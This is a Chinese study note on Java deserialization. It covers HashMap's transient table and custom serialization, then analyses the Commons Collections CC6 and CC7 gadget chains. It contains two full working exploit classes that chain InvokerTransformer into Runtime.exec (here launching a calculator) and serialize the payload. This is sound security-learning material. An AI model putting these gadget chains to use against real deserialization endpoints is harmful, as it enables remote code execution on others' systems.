HashMap (内部概念和序列化)
虽然一直用HashMap,但我对HashMap里的 EntrySet、Node、Table等概念感到迷惑,当我阅读源代码时,又对为什么table这些参数的 modifiers 为"transient"(不纳入序列化过程) 感到不解。
问题1: 为什么采用 transient
见:
java – Why is the hash table of HashMap marked as transient although the class is serializable – Stack Overflow
transient HashMap使用目的分析_深度Java的博客-CSDN博客(推荐)
回答摘要:
HashMap
useswriteObject
andreadObject
to implement custom serialization rather than just letting its field be serialized normally. It writes the number of buckets, the total size and each of the entries to the stream and rebuilds itself from those fields when deserialized. As tzaman says, the table itself is unnecessary in the serial form, so it's not serialized to save space.
问题2: HashMap 中 Entry 、Set、Node、Table 的具体概念是什么
不如问问 new bing.
以下为 new bing 关于 "HashMap 中 Entry 、Set、Node、Table 的具体概念是什么" 的 回答
Entry 是 HashMap 中的一个内部类,它表示了一个键值对 (key-value)映射。每个 Entry 对象都包含一个 key 和一个 value 属性。HashMap 中的所有键值对都是以 Entry 对象的形式存储的。¹
Set 是 Java 集合框架中的一个接口,它表示了一个无序、不重复的元素集合。Set 接口有多种实现类,如 HashSet、TreeSet 等。¹
Node 是 HashMap 中的一个内部类,它继承了 Entry 类,并实现了 Map.Entry 接口。Node 类在 JDK 1.8 中取代了 Entry 类,用于存储键值对。Node 类还有一个 next 属性,用于指向下一个 Node 对象,形成链表结构。²³
Table 是 HashMap 中的一个属性,它是一个 Node 类型的数组,用于存储 Node 对象。Table 的长度必须是 2 的幂次方,以便于计算哈希值和数组下标的映射关系。Table 的初始长度默认为 16,当元素个数超过阈值时,会进行扩容,扩容为原来的两倍。²³
(1) HashMap原理详解,看不懂算我输(附面试题) – 知乎. https://zhuanlan.zhihu.com/p/127147909 访问时间 2023/3/28.
(2) 面试:HashMap 夺命二十一问!鸡哥都扛不住~ – 知乎. https://zhuanlan.zhihu.com/p/151027796 访问时间 2023/3/28.
(3) HashMap中Entry以及Hash值的理解hashmap entry恰克与飞鸟.的博客-CSDN博客. https://blog.csdn.net/linton1/article/details/90084524 访问时间 2023/3/28.
可以具体见:图解集合4:HashMap – 五月的仓颉 – 博客园 (cnblogs.com)
测试脚本
public class Exploit {
public static void main(String[] args) throws Exception {
// InstantiateTransformer gadget chain
// Transformer chainedTransformer = getChained2InstantiateV4();
String command = "open -a calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// lazyMap
// cc 4.4
Map map = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(map, "fe1w0");
// set.map = new HashMap
HashSet set = new HashSet();
// 使 set.map.table 多出一个 Node,即 entry
// 直接 add 方式 也可以做到 gadget chains 利用,但无法用于序列化
// set.add(entry);
// ysoserial 的方案,是直接反射 ValueField 修改 map
// 此处,我的对Map的理解就不是很深。
// step 0: 促使 Map.table 构建
set.add("foo");
// step 1: 获取 set.map
Field classSetFieldMap = HashSet.class.getDeclaredField("map");
classSetFieldMap.setAccessible(true);
HashMap setInnerMap = (HashMap) classSetFieldMap.get(set);
// step 2: 获取 set.map.table
// 需要注意是的:
// 即便 HastMap.table 是 transient
// 但在writeObject中调用的internalWriteEntries,会将table中的内容进行序列化
Field classHashMapFieldTable = HashMap.class.getDeclaredField("table");
// modifiers "transient"
classHashMapFieldTable.setAccessible(true);
Object[] tableArray = (Object[]) classHashMapFieldTable.get(setInnerMap);
// 默认 为 16
System.out.println(tableArray.length);
// step 3: 设置 set.map.table[0].key
Object targetNode = null;
for (Object node : tableArray) {
if (node != null) {
targetNode = node;
}
}
// step 4: 将 entry 存储为 targetNode.key
Field classNodeFieldKey = targetNode.getClass().getDeclaredField("key");
System.out.println(targetNode.getClass().getName());
classNodeFieldKey.setAccessible(true);
classNodeFieldKey.set(targetNode, entry);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc6.ser"));
outputStream.writeObject(set);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc6.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
梦破了,我以为cc6是无限制利用。。。
CC7
利用条件
- 依赖限制 :
- CommonsCollections 3.1
Gadget Chain
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
漏洞原理
和前面的利用链都差不多,主要是前面的部分利用 Hashtable#readObject
-> … -> AbstractMap#equals
Hashtable
/**
* Reconstitute the Hashtable from a stream (i.e., deserialize it).
*/
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{
ObjectInputStream.GetField fields = s.readFields();
// Read and validate loadFactor (ignore threshold - it will be re-computed)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new StreamCorruptedException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / lf) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / lf) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
Hashtable.UnsafeHolder.putLoadFactor(this, lf);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
// 此处触发 reconstitutionPut
reconstitutionPut(table, key, value);
}
}
/**
* The put method used by readObject. This is provided because put
* is overridable and should not be called in readObject since the
* subclass will not yet be initialized.
*
* <p>This differs from the regular put method in several ways. No
* checking for rehashing is necessary since the number of elements
* initially in the table is known. The modCount is not incremented and
* there's no synchronization because we are creating a new instance.
* Also, no return value is needed.
*/
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
// e.key.equals
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
AbstractMap#equals
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
// Map<?,?> m = (Map<?,?>) o;
// 则函数参数为 lazyMap
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
但最麻烦的在于,满足条件且序列化前不触发。
Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);
Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);
// 使数据满足 后续的判断条件:
mapOne.put(1, 1);
mapTwo.put(2, 2);
// map.equals 直接触发利用链
// mapOne.equals(mapTwo);
触发条件(建议先阅读测试脚本)
Hashtable#reconstitutionPut
若序列化的对象的size小于等于1,是不会触发 e.key.equals(key)
,原因在于当第一次进入Hashtable#reconstitutionPut
时,无论index为多少,e == null
。
所以至少需要添加两次。
hashtable.put(mapOne, 1);
hashtable.put(mapTwo, 2);
此外 为确保 第二次进入Hashtable#reconstitutionPut
时,tab[index]
不为空,需要mapOne.hashCode() == mapTwo.hashCode()
。
这个默认的hashCode 很离谱。。。
Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);
Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);
// 使数据满足 后续的判断条件:
mapOne.put(1, 1);
mapTwo.put(2, 2);
mapOne 和 mapTwo 的 hashCode 都为0。
另外 ysoserial 中
mapOne.put("zZ", 2); // 3874
mapTwo.put("yy", 2); // 3874
// 可以微调 value 改变 hashCode
最后需要理解的是,为什么要 mapTwo.remove(mapOnw_Key)
,注意 mapOnw_Key
指的是 mapOne
的key
,如mapOne.put(1, 1);
,则需要mapTwo.remove(1);
。
这一点,我们需要 再次回到 hashtable.put(mapTwo, 2);
。在该行代码执行后,mapTwo,发现了变化,具体变化见下图。
- mapTwo
- mapOne
![[image-20230328194724167.png]]
而 mapTwo发生变化的原因在于,hashtable.put(mapTwo, 2);
中同样会执行equals
,从而将一开始的 ConstantTransformer 的值,map.put(key, value);
。
- lazyMap 中 get 链 会触发
put
利用,增加了原mapTwo。
key 的 来源 在 其实还是来自 mapOne的。。。
如图所示,put函数中,因mapOne.index == mapTwo.index,导致entry指向mapOne。
回到初始问题上,那为什么需要remove。
如果不进行remove 操作,在反序列化时,因mapTwo
中存在两个Entry({1:{"fe1w0"}, 2:2}
),mapTwo.hashCode != mapOne.hashCode
,导致 以下判断 失效 e == null
, 无法进入深层次的利用链。
![[image-20230328202756484.png]]
测试脚本
package xyz.fe1w0.java.basic.serialize.cc.seven;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Map;
import static xyz.fe1w0.java.basic.serialize.cc.two.Exploit.setFieldValue;
public class Exploit {
public static void main(String[] args) throws Exception {
String command = "open -a calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
Transformer fakeTransformer = new ConstantTransformer("fe1w0");
Transformer chainTransformer = new ChainedTransformer(new Transformer[] {
fakeTransformer
});
Map mapOne = LazyMap.decorate(new HashedMap(), chainTransformer);
Map mapTwo = LazyMap.decorate(new HashedMap(), chainTransformer);
// 使数据满足 后续的判断条件:
mapOne.put(1, 1);
mapTwo.put(2, 2);
System.out.println(mapOne.hashCode());
System.out.println(mapTwo.hashCode());
// map.equals 直接触发利用链
System.out.println(mapOne.equals(mapTwo));;
// 使用 Hashtable
Hashtable hashtable = new Hashtable();
// 注意使用 put 的时候,也会调用到 Hashtable#equals
hashtable.put(mapOne, 1);
hashtable.put(mapTwo, 2);
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainTransformer, transformers);
// 确保 hash 冲突?
mapTwo.remove(1);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("out/serFile/cc7.ser"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("out/serFile/cc7.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
References:
Java安全学习—URLDNS链 – FreeBuf网络安全行业门户
[[URLDNS and CCs unserialize chains]]
cc1
https://blog.51cto.com/u_15878568/5859633
Java反序列化之ysoserial cc1链分析 – FreeBuf网络安全行业门户
(18条消息) Java反序列化之CC1链分析_安全混子的博客-CSDN博客_cc1链
Java反序列化CC1-漏洞分析 – FreeBuf网络安全行业门户
cc2
通俗易懂的Java Commons Collection 2分析 – 先知社区 (aliyun.com)
Java cc链-TemplatesImpl利用分析 | tyskillのBlog
other
CC链 1-7 分析 – 先知社区 (aliyun.com)
Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析 (seebug.org)
Java安全之Commons Collections6分析 – nice_0e3 – 博客园 (cnblogs.com)